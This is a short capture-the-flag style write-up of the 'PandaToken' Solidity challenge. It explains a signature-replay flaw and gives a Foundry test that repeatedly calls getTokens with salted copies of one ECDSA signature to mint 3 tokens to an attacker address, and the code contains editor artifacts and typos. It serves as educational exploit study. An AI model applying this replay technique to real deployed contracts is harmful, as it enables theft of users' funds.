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Panda Token

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Vulnerability

- Here the PandaToken.sol can be exploited by using the V R S of ECDSA signature, and constructing different sign messages using the context v,r,s bytes and some random salt.
- The constructor sets the storage slots, such that zero address starts with a balance of 10 ether in his
 account.

Steps to Exploit

Attack Process

```
contract Hack is Test {
   PandaToken pandatoken;
   address owner = vm.addr(1);
   address hacker = vm.addr(2);
   ftrace | funcSig
    function setUp() external {
        vm.prank(owner);
        pandatoken = new PandaToken(400, "PandaToken", "PND");
   ftrace | funcSig
    function test() public {
       vm.startPrank(hacker);
        bytes32 hash = keccak256(abi.encode(hacker, 1 ether));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(1, hash);
       // your goal - to have 3 tokens (3e18) on your own(hacker) balance.
        // Pack v,r,s back to signed Data
        // we use Salt to bring variation in the signed Data
        bytes memory sig;
        sig = abi.encodePacked(v,r,s,"Salt1");
        pandatoken.getTokens(1 ether, sig);
        sig = abi.encodePacked(v,r,s,"Salt2");
        pandatoken.getTokens(1 ether, sig);
        sig = abi.encodePacked(v,r,s,"Salt3");
        pandatoken.getTokens(1 ether, sig);
        console.log("balance0f(%s) = %s ",hacker, pandatoken.balance0f(hacker) );
        assertEq(pandatoken.balanceOf(hacker), 3 ether);
```

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- The Hacker uses the VRS, to construct the signature bytes.
- To pass unique signature, we use *salt* string, to bring some noise in the sign hash.
- we exploit the intial balance of 10 ether given to ZeroAddress by the constructor.
- Since max limit is 1 ether, we try calling the *getTokens()* atleast three times.

Result

Conclusion:

Thus the goal - to have 3 tokens (3e18) on your own(hacker) balance, has been achieved.